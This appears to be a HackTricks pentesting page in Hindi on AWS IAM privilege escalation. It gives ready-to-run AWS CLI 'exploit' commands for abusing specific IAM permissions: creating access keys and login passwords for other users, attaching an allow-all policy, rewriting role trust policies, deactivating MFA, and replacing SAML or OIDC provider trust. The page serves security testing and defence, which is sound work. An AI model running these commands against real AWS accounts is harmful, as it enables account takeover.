AWS - IAM Privesc

HackTricks को समर्थन दें

IAM

IAM के बारे में अधिक जानकारी के लिए देखें:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

नए IAM पॉलिसी वर्शन बनाने की अनुमति देता है, iam:SetDefaultPolicyVersion अनुमति की आवश्यकता को --set-as-default फ्लैग का उपयोग करके बायपास करता है। यह कस्टम अनुमतियों को परिभाषित करने में सक्षम बनाता है।

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impact: किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर सीधे विशेषाधिकार बढ़ाता है।

iam:SetDefaultPolicyVersion

एक IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, संभावित रूप से विशेषाधिकार बढ़ाता है यदि नए संस्करण में अधिक अनुमतियाँ हैं।

Bash Command:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

प्रभाव: अधिक अनुमतियों को सक्षम करके अप्रत्यक्ष विशेषाधिकार वृद्धि।

iam:CreateAccessKey

किसी अन्य उपयोगकर्ता के लिए एक्सेस कुंजी आईडी और गुप्त एक्सेस कुंजी बनाने को सक्षम करता है, जिससे संभावित विशेषाधिकार वृद्धि हो सकती है।

शोषण:

aws iam create-access-key --user-name <target_user>

प्रभाव: किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियों को ग्रहण करके प्रत्यक्ष विशेषाधिकार वृद्धि।

iam:CreateLoginProfile | iam:UpdateLoginProfile

AWS कंसोल लॉगिन के लिए पासवर्ड सेट करने सहित लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिससे प्रत्यक्ष विशेषाधिकार वृद्धि हो सकती है।

निर्माण के लिए शोषण:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Update के लिए Exploit:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

प्रभाव: "किसी भी" उपयोगकर्ता के रूप में लॉगिन करके सीधे विशेषाधिकार वृद्धि।

iam:UpdateAccessKey

एक निष्क्रिय एक्सेस कुंजी को सक्षम करने की अनुमति देता है, जिससे अनधिकृत पहुंच हो सकती है यदि हमलावर के पास निष्क्रिय कुंजी हो।

शोषण:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

प्रभाव: एक्सेस कीज़ को पुनः सक्रिय करके सीधे विशेषाधिकार वृद्धि।

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

विशिष्ट AWS सेवाओं (जैसे, CodeCommit, Amazon Keyspaces) के लिए क्रेडेंशियल्स उत्पन्न या रीसेट करने की अनुमति देता है, संबंधित उपयोगकर्ता की अनुमतियों को विरासत में लेता है।

निर्माण के लिए शोषण:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Reset के लिए Exploit:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

प्रभाव: उपयोगकर्ता की सेवा अनुमतियों के भीतर सीधे विशेषाधिकार वृद्धि।

iam:AttachUserPolicy || iam:AttachGroupPolicy

उपयोगकर्ताओं या समूहों को नीतियाँ संलग्न करने की अनुमति देता है, संलग्न नीति की अनुमतियों को विरासत में लेकर सीधे विशेषाधिकार बढ़ाता है।

उपयोगकर्ता के लिए शोषण:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Group के लिए Exploit:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

प्रभाव: नीति द्वारा दिए गए किसी भी अधिकार के लिए सीधा विशेषाधिकार वृद्धि।

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

भूमिकाओं, उपयोगकर्ताओं, या समूहों को नीतियाँ संलग्न करने या डालने की अनुमति देता है, अतिरिक्त अनुमतियाँ देकर सीधे विशेषाधिकार वृद्धि को सक्षम करता है।

भूमिका के लिए शोषण:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Inline Policies के लिए Exploit:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

आप इस तरह की नीति का उपयोग कर सकते हैं:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

प्रभाव: नीतियों के माध्यम से अनुमतियाँ जोड़कर सीधे विशेषाधिकार वृद्धि।

iam:AddUserToGroup

IAM समूह में स्वयं को जोड़ने की अनुमति देता है, समूह की अनुमतियों को विरासत में लेकर विशेषाधिकार बढ़ाता है।

शोषण:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impact: समूह की अनुमतियों के स्तर तक सीधी विशेषाधिकार वृद्धि।

iam:UpdateAssumeRolePolicy

एक भूमिका की अस्यूम रोल नीति दस्तावेज़ को बदलने की अनुमति देता है, जिससे भूमिका और उसकी संबंधित अनुमतियों को ग्रहण किया जा सकता है।

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

जहाँ नीति निम्नलिखित की तरह दिखती है, जो उपयोगकर्ता को भूमिका ग्रहण करने की अनुमति देती है:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

प्रभाव: किसी भी भूमिका की अनुमतियों को ग्रहण करके प्रत्यक्ष विशेषाधिकार वृद्धि।

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

CodeCommit के लिए प्रमाणीकरण हेतु SSH सार्वजनिक कुंजी अपलोड करने और MFA उपकरणों को निष्क्रिय करने की अनुमति देता है, जिससे संभावित अप्रत्यक्ष विशेषाधिकार वृद्धि हो सकती है।

SSH कुंजी अपलोड के लिए शोषण:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

MFA निष्क्रियकरण के लिए Exploit:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impact: अप्रत्यक्ष विशेषाधिकार वृद्धि CodeCommit एक्सेस को सक्षम करके या MFA सुरक्षा को अक्षम करके।

iam:ResyncMFADevice

एक MFA डिवाइस का पुन: समन्वयन करने की अनुमति देता है, जो संभावित रूप से MFA सुरक्षा में हेरफेर करके अप्रत्यक्ष विशेषाधिकार वृद्धि की ओर ले जा सकता है।

Bash Command:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact: MFA डिवाइस जोड़ने या हेरफेर करने से अप्रत्यक्ष विशेषाधिकार वृद्धि।

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

इन अनुमतियों के साथ आप SAML कनेक्शन के XML मेटाडेटा को बदल सकते हैं। फिर, आप SAML फेडरेशन का दुरुपयोग करके किसी भी भूमिका के साथ लॉगिन कर सकते हैं जो इसे विश्वास कर रही है।

ध्यान दें कि ऐसा करने से वैध उपयोगकर्ता लॉगिन नहीं कर पाएंगे। हालांकि, आप XML प्राप्त कर सकते हैं, ताकि आप अपना डाल सकें, लॉगिन कर सकें और पहले वाले को पुनः कॉन्फ़िगर कर सकें।

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: एक टूल जो SAML मेटाडेटा उत्पन्न करने और निर्दिष्ट भूमिका के साथ लॉगिन करने में सक्षम हो

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(इस बारे में निश्चित नहीं) यदि किसी हमलावर के पास ये permissions हैं तो वह एक नया Thumbprint जोड़ सकता है ताकि वह प्रदाता पर भरोसा करने वाली सभी भूमिकाओं में लॉगिन कर सके।

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

References

HackTricks को समर्थन दें

Last updated